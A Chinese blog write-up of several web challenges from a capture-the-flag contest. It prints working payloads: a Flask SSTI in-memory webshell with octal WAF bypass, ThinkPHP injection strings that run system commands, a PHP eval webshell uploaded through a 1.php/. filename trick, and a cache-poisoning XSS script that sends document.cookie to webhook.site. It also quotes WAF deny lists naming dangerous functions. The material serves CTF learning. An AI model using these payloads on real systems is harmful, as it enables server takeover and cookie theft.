蜀道山CTF web wp

蜀道山CTF web wp

海关警察训练平台

这是一个海关警察训练平台,你的任务是判断所给图片能否进入境内,但是全部判断正确的成功页面好像丢失了??flag在内网的http://infernityhost/flag.html

查看一下源代码

image

发现会跳转到./error,但是又会重定向到一个不存在的界面

我们可以直接抓包改host和GET请求

image

http劫持漏洞也是可以的。

error.page请求走私 CVE-2019-20372

Nginx 1.17.7之前版本中 error_page 存在安全漏洞。攻击者可利用该漏洞读取未授权的Web页面。

错误代码:

server {
 listen 80;
 server_name localhost;
 error_page 401 http://example.org;
 location / {
 return 401;
 }
}
server {
 listen 80;
 server_name notlocalhost;
 location /_hidden/index.html {
 return 200 'This should be hidden!';
 }
}

参考文章:https://www.cnblogs.com/null1433/p/12778026.html

GET /error HTTP/1.1
Host: gamebox.yunyansec.com:13004
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: Hm_lvt_f6095793646f2ba4a15ac9ee2cd1af7a=1728906472
Connection: keep-alive

GET /flag.html HTTP/1.1
Host: infernityhost
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

my_site

刚开始没有给源码,只能盲打,乱测

后来给了源码

@app.route('/rot13', methods=['GET', 'POST'])
def rot13_route():
    if request.method == 'POST':
        action = request.form['action']
        text = request.form['text']

        if action == 'encrypt':
            encrypted_text = rot13(text)
            return redirect(url_for('rot13_result', result=encrypted_text, action='encrypt'))


        elif action == 'decrypt':
            text = request.form['text']
            decrypted_text = rot13(text)
            if key(decrypted_text):
                if waf(decrypted_text):
                    template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
                    try:
                        render_template_string(template)
                    except Exception as e:
                        abort(404)
                    return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt'))
                elif waf(decrypted_text)==False:
                    return redirect(url_for('rot13_result', result="我这里是有waf哦", action='decrypt'))
            else:
                return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt'))


    return render_template('index.html')

发现解密时会进行render_template_string(template)

存在SSTI模板注入漏洞

同时存在waf

def waf(poc):
    waf_dist = [
        '__init__', '__builtins__', '__base__', '__subclasses__','__globals__'
    ]
    for dist in waf_dist:
        if dist in poc:
            return False
    
    return True

绕过的话还是很简单的,拼接绕过或者八进制绕过都是可以的,打内存马就行。

先测一下,输入url_for.__globals__的rot13编码到decrypt处,回显说存在waf,那么绕过waf就能利用SSTI了。

image

上面也说过了,可以利用八进制绕过和拼接绕过等等

url_for["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())\")==None else resp)", {'request':url_for["\137\137\147\154\157\142\141\154\163\137\137"]['request'],'app':url_for["\137\137\147\154\157\142\141\154\163\137\137"]['current_app']})
url_for['__glob''als__']['__buil''tins__']['eval']
("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.se
tdefault(None,[]).append(lambda :__import__('os').popen('cat
/flag').read())")

我们将这串内存马payload进行rot13加密后再输入解密就行。内存马打入后利用即可。

image

image

恶意代码检测器

扫目录拿到源码,可以知道是tp框架

<?php
namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        $code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']);
        if(preg_match('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is', $code)) {

            $attack_log_file = '/tmp/attack.log';

            if(file_exists($attack_log_file)) {
                file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);
                require_once('/tmp/attack.log');
            } else {
                file_put_contents($attack_log_file, '<'.'?'.'php'."\r\n");
            }
            if(isset($attack_word)){
                echo '检测到危险代码: '.$attack_word.'!!!';
            } else{
            	  echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
            }
        }else{
            $safe_log_file = '/tmp/safe.log';
            if(file_exists($safe_log_file)) {
                file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);
                require_once('/tmp/safe.log');
            } else {
                file_put_contents($safe_log_file, '<'.'?'.'php'."\r\n");
            }
            if(isset($safe_word)){
                echo '未检测到危险代码,'.$safe_word.',非常安全';
            } else{
            	  echo '欢迎使用gxngxngxn的恶意代码检测器!!!';
            }
        }
    }
}

在 ThinkPHP(TP)框架中,${} 符号常用于模板引擎的表达式解析。在模板中,${} 可以嵌入 PHP 表达式,这些表达式会被解析并执行。它通常用于输出数据或在模板中执行一些简单的 PHP 逻辑。

命令执行漏洞的理解:

当在模板文件中使用 ${} 时,如果没有做适当的过滤或限制,恶意用户可能会利用这种特性执行任意的 PHP 代码,导致命令执行漏洞。这是因为 ${} 可以包含 PHP 代码,这些代码会在执行时被解析和执行。例如:

php复制代码// 例如模板文件中的代码
${system('ls')}

如果没有安全性措施,以上代码可能导致服务器执行 ls 命令,列出当前目录的内容。攻击者可以通过这种方式执行任意的 PHP 代码,包括调用系统命令(如 system()exec()shell_exec() 等)。

接下来讲一讲这道题的思路:其实就是利用此处代码写入payload,然后下面文件包含就可以利用了。

file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);
require_once('/tmp/safe.log');

这里有好几种方法。

发现 usort 函数没有被ban,⽤ usort 来执⾏命令

根据php的特性,不使⽤引号的话能⾃⼰识别类型,可以⽤字符串拼接的⽅式绕过过滤

这⾥需要注意的是,因为没有引号,拼接字符的时候会warming,然后tp就报错了,⽤ @ 来忽略掉警告

过滤了下划线,⽤ getallheaders 给 system 传参

${@usort((ge.tallheaders)(),sys.tem)}

bp抓包发包

image

发两次就好,一次产生文件,一次写入文件,然后就能执行命令了。

image

获取flag啦~!!

还有一种方法就是用input()

input()ThinkPHP 6 中的一个函数。它是 ThinkPHP 框架提供的一个用来获取请求数据(如 GET、POST 或 PUT 请求中的参数)的函数。

tp6文档如下:

https://www.kancloud.cn/monday/thinkphp6/1461097

code=${input(0)(input(1))}&0=system&1=cat+/f*

image

奶龙牌WAF

打开环境后是一个文件上传的场景。给了源码,那么进行代码审计

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
    $file = $_FILES['upload_file'];

    if ($file['error'] === UPLOAD_ERR_OK) {
        $name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
        $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));

        if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
            die("不允许上传此类文件!");
        }


        if ($file['size'] > 2 * 1024 * 1024) {
            die("文件大小超过限制!");
        }

        $file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);

        $dangerous_patterns = [
            '/<\?php/i',
            '/<\?=/',
            '/<\?xml/',
            '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i',
            '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i',
            '/--\s/',
            '/\/\*\s.*\*\//',
            '/#/',
            '/<script\b.*?>.*?<\/script>/is',
            '/javascript:/i',
            '/on\w+\s*=\s*["\'].*["\']/i',
            '/[\<\>\'\"\\\`\;\=]/',
            '/%[0-9a-fA-F]{2}/',
            '/&#[0-9]{1,5};/',
            '/&#x[0-9a-fA-F]+;/',
            '/system\(/i',
            '/exec\(/i',
            '/passthru\(/i',
            '/shell_exec\(/i',
            '/file_get_contents\(/i',
            '/fopen\(/i',
            '/file_put_contents\(/i',
            '/%u[0-9A-F]{4}/i',
            '/[^\x00-\x7F]/',
            // 检测路径穿越
            '/\.\.\//',
        ];


        foreach ($dangerous_patterns as $pattern) {
            if (preg_match($pattern, $file_content)) {
                die("内容包含危险字符,上传被奶龙拦截!");
            }
        }

        $upload_dir = 'uploads/';
        if (!file_exists($upload_dir)) {
            mkdir($upload_dir, 0777, true);
        }

        $new_file_name = $upload_dir . $name;
        print($_FILES['upload_file']);
        if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {
            echo "文件上传成功!";
        } else {
            echo "文件保存失败!";
        }
    } else {
        echo "文件上传失败,错误代码:" . $file['error'];
    }
} else {
    ?>
    <!-- 文件上传表单 -->
    <!DOCTYPE html>
    <html lang="zh-CN">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>文件上传</title>
        <style>
            body {
                font-family: Arial, sans-serif;
                background: url('background.jpeg') no-repeat center center fixed;
                background-size: cover;
                display: flex;
                justify-content: center;
                align-items: flex-start;
                height: 100vh;
                margin: 0;
            }
            .upload-container {
                background-color: rgba(214, 227, 49, 0.22);
                padding: 20px;
                border-radius: 10px;
                box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);
                text-align: center;
                position: absolute;
                top: 10%; /* 调整这个值来控制表单距离顶部的高度 */
            }
            .upload-container h2 {
                color: #333;
                margin-bottom: 20px;
            }
            .file-input {
                display: none;
            }
            .custom-file-upload, .submit-btn {
                display: inline-block;
                padding: 10px 20px;
                border-radius: 5px;
                cursor: pointer;
                font-size: 16px;
            }
            .custom-file-upload {
                background-color: #ff0000;
                color: white;
                margin-right: 20px;
            }
            .custom-file-upload:hover {
                background-color: #b3002a;
            }
            .submit-btn {
                background-color: #28a745;
                color: white;
                border: none;
            }
            .submit-btn:hover {
                background-color: #218838;
            }
        </style>
    </head>
    <body>
    <div class="upload-container">
        <h2>你能逃出奶龙的WAF吗?</h2>
        <form action="" method="POST" enctype="multipart/form-data">
            <label for="upload_file" class="custom-file-upload">选择文件</label>
            <input type="file" name="upload_file" id="upload_file" class="file-input">
            <input type="submit" value="上传文件" class="submit-btn">
        </form>
    </div>
    <script>
        document.querySelector('.custom-file-upload').addEventListener('click', function() {
            document.getElementById('upload_file').click();
        });
    </script>
    </body>
    </html>
    <?php
}
?>

通过代码审计,我们可以发现如下的漏洞利用点:

$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);
        $fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));

        if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {
            die("不允许上传此类文件!");
        }

$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));

这行获取的是文件的拓展名,同时又对ph和hta进行了过滤,那么有没有办法让拓展名往后移一格呢,就比如说1.php.aaa

我们再往下看代码:

if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {

此处的move_uploaded_file函数也是一个漏洞利用点

move_uploaded_file 是 PHP 的一个内置函数,专门用于安全地将上传的文件从临时目录移动到指定的目录或文件路径中。

当move_uploaded_file函数参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php

因此我们就能够构造php文件进行上传了

接下来就是对文件内容的绕过

这个很简单,甚至有两种方法可以绕过

$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);

首先是这里,他只读取5000字节进行校验,那么我们把后门放在5000字节之后就好了

同时

foreach ($dangerous_patterns as $pattern) {
            if (preg_match($pattern, $file_content)) {
                die("内容包含危险字符,上传被奶龙拦截!");
            }
        }

这里的preg_match函数也是很好绕过的,使⽤PCRE回溯次数限制来绕过,100万字节吗我记得

同时要注意,这里的文件名称是由以下代码决定的

$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);

所以构造数据包如下:

POST /?name=1.php/. HTTP/1.1
Host: 192.168.79.129:8222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2131216290722404937507143282
Content-Length: 6256
Origin: http://192.168.79.129:8222
Connection: close
Referer: http://192.168.79.129:8222/
Cookie: BEEFHOOK=YLl1cYfuWDCJDEydWFDyaegLV3dcD7jFiOkZ5KVLvcGuEuWozCaLyMhwVEiu0NSccZ8k8qTKQWkT4EqY
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------2131216290722404937507143282
Content-Disposition: form-data; name="upload_file"; filename="1.php/."
Content-Type: image/jpeg

GIF89a
此处省略6000个'a'  <?php eval($_POST[1]);?>

-----------------------------2131216290722404937507143282--

image

上传成功后访问/uploads/1.php即可

image

XSS?

考点 cache pollution/XSS

给了源码先看源码吧

using System.Globalization;
using Microsoft.AspNetCore.Http.HttpResults;
using Microsoft.AspNetCore.Mvc;
using Microsoft.AspNetCore.StaticFiles;
using PuppeteerSharp;

var builder = WebApplication.CreateSlimBuilder(args);
var app = builder.Build();

List<ImageInfo> images = [
    new("4e668ad2-14bd-4d28-b8f7-6572b8b3e77b", "1.jpg", "Material"),
    new("3369e70b-b2d1-41db-8d0a-d78037bb8c52", "2.jpg", "White")
];

IBrowser? browser = null;
IPage? page = null;


app.MapGet("/", async () =>
    Results.Content(
        await File.ReadAllTextAsync("wwwroot/index.html")
        , "text/html")
);

app.MapGet("/static/{*path}",async ([FromRoute] string path) =>
{
    if (path.ToLower(CultureInfo.InvariantCulture).Contains("flag"))
        return Results.BadRequest();
    
    if (!File.Exists($"wwwroot/static/{path}"))
        return Results.NotFound();
    
    var provider = new FileExtensionContentTypeProvider();
    if (!provider.TryGetContentType(path, out var contentType))
    {
        contentType = "application/octet-stream";
    }
    return Results.Content(await File.ReadAllTextAsync($"wwwroot/static/{path}"),contentType);
});
app.MapGet("/upload", async () =>
    Results.Content(
        await File.ReadAllTextAsync("wwwroot/upload.html")
        , "text/html")
);

app.MapPost("/report/{id:guid}", async (Guid id) =>
{
    var image = images.FirstOrDefault(i => i.Id == id.ToString());
    if (image == null)
        return Results.NotFound("Image not found");
    if (browser is null)
    {
        browser = await Puppeteer.LaunchAsync(new LaunchOptions
        {
            ExecutablePath = "/usr/bin/chromium",
            Headless = true,
            Args = [
                "--no-sandbox", 
                "--disable-dev-shm-usage",
                "--disable-gpu",
                "--disable-extensions",
                "--disable-software-rasterizer",
                "--disable-setuid-sandbox",
                "--ignore-certificate-errors",
                "--media-cache-size=1",
                "--disk-cache-size=1"
            ]
        });
    }
    if (page is null)
    {
        page = await browser.NewPageAsync();
    }
    var flag = File.Exists("/flag") ? (await File.ReadAllTextAsync("/flag")).Trim() : "flag{no_flag}";
    await page.SetCookieAsync(new CookieParam()
    {
        Name = "flag",
        Value = flag,
        Domain = "localhost",
        Path = "/"
    });
    await page.GoToAsync($"http://localhost/#{image.Id}", 5000);
    return Results.Ok("Beautiful image reported");
});

app.MapPost("/images", async ([FromForm] IFormFile file, [FromForm] string description) =>
{
    if (file.Length > 0)
    {
        var ext = Path.GetExtension(file.FileName);
        var name = Guid.NewGuid().ToString("N") + ext;
        var filePath = Path.Combine("wwwroot/uploads", name);
        using (var stream = new FileStream(filePath, FileMode.Create))
        {
            await file.CopyToAsync(stream);
        }
        var info = new ImageInfo(Guid.NewGuid().ToString(), name, description);
        images.Add(info);
        return Results.Created($"/images/{name}", info);
    }
    return Results.BadRequest();


}).DisableAntiforgery();

app.MapGet("/images", () => Results.Json(images));

app.MapGet("/images/{filename}", ([FromRoute] string filename) =>
{
    if (filename.Contains(".."))
        return Results.BadRequest();
    var filePath = Path.Combine("wwwroot/uploads", filename);
    if (!File.Exists(filePath))
        return Results.NotFound();
    
    var provider = new FileExtensionContentTypeProvider();
    if (!provider.TryGetContentType(filename, out var contentType))
    {
        contentType = "application/octet-stream";
    }
    return Results.Bytes(File.ReadAllBytes(filePath), contentType);
});

app.MapDelete("/images/{id}", (string id) =>
{
    var image = images.FirstOrDefault(i => i.Id == id);
    if (image == null)
        return Results.NotFound("Image Not Found");
    
    var filePath = Path.Combine("wwwroot/uploads", image.FileName);
    if (File.Exists(filePath))
        File.Delete(filePath);
    
    images.Remove(image);
    return Results.Ok();
});

app.Run("http://*:8081");


record ImageInfo(string Id, string FileName, string Description);

/report/{id:guid}路由其实就是通知bot带着flag访问我们上传的东东

/images路由其实就是上传图像

这里的大致思路就是上传恶意js文件后,然后进行缓存污染,最后通过/report路由让bot去访问恶意js文件从而获取flag。

但这里有两个问题,一是缓存污染是什么?二是为什么不能直接让bot去访问恶意js文件。

先说第二个问题:

上传并不会自动执行文件

  • 上传一个文件,比如一个 .js 文件,通常只是将文件保存在服务器上,并不会立刻在客户端(用户的浏览器)中执行。浏览器必须明确地加载和执行该文件才能触发其中的 JS 代码。
  • 如果只是上传一个 JS 文件,除非这个文件被嵌入到某个 HTML 文件或被客户端 JavaScript 加载,否则它不会自动在浏览器中执行。

浏览器的安全机制

  • 现代浏览器会对来自不安全源的 JS 文件进行限制。即便你成功上传了一个恶意的 JS 文件,浏览器可能不会允许直接执行这个文件,尤其是在没有明确指示的情况下(比如在 <script> 标签内引用 JS 文件)。

内容安全策略(CSP)

  • 大多数网站都实现了内容安全策略(CSP),这是一种浏览器安全机制,用于防止恶意脚本注入。CSP 会限制哪些来源的脚本可以执行。如果恶意 JS 文件被上传到了一个不允许的源,CSP 会阻止这个文件的执行。

假设你通过 /report 路由向服务器提交请求并指示服务器去访问上传的文件。这并不意味着该文件会被执行。文件可能只是被下载、保存,甚至不会触发任何动作。

如果 /report 路由仅仅是请求文件的路径,浏览器会将它视为静态文件,可能仅仅是作为数据文件处理,而不是脚本执行。

就像我的博客一样,我直接去访问博客的js文件他什么都不会执行,只是像txt一样显示出来给我们看,但是把他插入到里面才能执行,一个道理。

再来说说缓存污染

缓存污染(Cache Pollution)是指在缓存中存储了大量不常用或不再需要的数据,这些数据占据了宝贵的缓存空间,导致有用的数据无法被缓存,从而降低了缓存效率。

在这个场景中,缓存污染是利用了 Web 服务器或反向代理缓存的机制,尤其是 Nginx 等服务器的缓存机制。缓存污染通过恶意构造 URL,利用 Web 服务器的缓存系统,把恶意文件存储到缓存中。

当你请求一个 URL 时,Nginx 会根据其配置(如 proxy_cache_key)来判断是否有缓存。一般来说,缓存键可能基于 URL 或请求的一些其它参数(如 $uri)。攻击者通过特定的 URL 结构,使得服务器缓存了恶意 JS 文件,并且之后每次请求该缓存内容时,都会加载恶意代码。

缓存污染有助于解决直接上传并访问恶意文件时的问题。这里的关键是如何让恶意代码能够被执行。通过缓存污染,恶意文件能够在缓存中被持久化,并通过缓存机制在未来的请求中被执行,绕过浏览器的安全机制。

在本题中:

我们可以看一下在 nginx.conf 中 proxy_cache_key 使用的是 $scheme://$hostname$uri

我们注意到 $uri , 他并不会包含 # 后面的内容, 所以我们可以通过 # 来污染缓存

在后端解析的时候, 他会拿出 # 后面的内容, 此时 # 被当做文件目录名的一部分

我们可以通过上传一个文件, 然后通过 GET

/static/main.js#aaa/../../images/<the_name_to_uploaded_file>.js 来获取上传的文件

/static/main.js#aaa/../../images/<the_name_to_uploaded_file>.js 是一个精心构造的 URL 路径,用于利用缓存污染机制攻击。这个 URL 看起来像是请求了一个静态资源 (main.js),但是通过 # 后缀部分,攻击者可以将恶意内容放入缓存中。

由于proxy_cache_key 是 $scheme://$hostname$uri

那么#之前的会被作为缓存键,只要发现存在这个缓存键那么就触发缓存。# 后的内容包含了 路径遍历../../),它试图通过解析路径来访问服务器上其他资源。这里不会被作为缓存键但是依然会被后端解析。

可以这么理解:

通过 URL /static/main.js#aaa/../../images/<the_name_to_uploaded_file>.js,你实际上是在伪造一个请求,让 Nginx 认为 /static/main.js 是缓存的资源路径,同时 后缀的路径(如 ../../images/<the_name_to_uploaded_file>.js)可能会被缓存系统错误地解析为文件路径的一部分。通过这种路径,恶意的 JS 文件<the_name_to_uploaded_file>.js)被误认为是 main.js 文件的一部分,并被缓存起来。也就是说我们只要访问了/static/main.js就会触发恶意js文件的缓存从而利用xss。

最后依次发包:

POST /images HTTP/1.1
Host: _
Content-Type: multipart/form-data; boundary=----
WebKitFormBoundarykT3DhsMTSIGCbUqh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 141
------WebKitFormBoundarykT3DhsMTSIGCbUqh
Content-Disposition: form-data; name="description"
payload
------WebKitFormBoundarykT3DhsMTSIGCbUqh
Content-Disposition: form-data; name="file"; filename="abc.js"
Content-Type: text/javascript
fetch('https://webhook.site/xxxxxx/?'+document.cookie);
------WebKitFormBoundarykT3DhsMTSIGCbUqh--
GET /images HTTP/1.1
Host: _
GET /static/main.js#aaa/../../images/<the_name_to_uploaded_file>.js HTTP/1.1
Host: _
POST /report/<the_id_of_uploaded_file> HTTP/1.1
Host: _
posted @ 2024-11-20 12:29  Meteor_Kai  阅读(401)  评论(0)    收藏  举报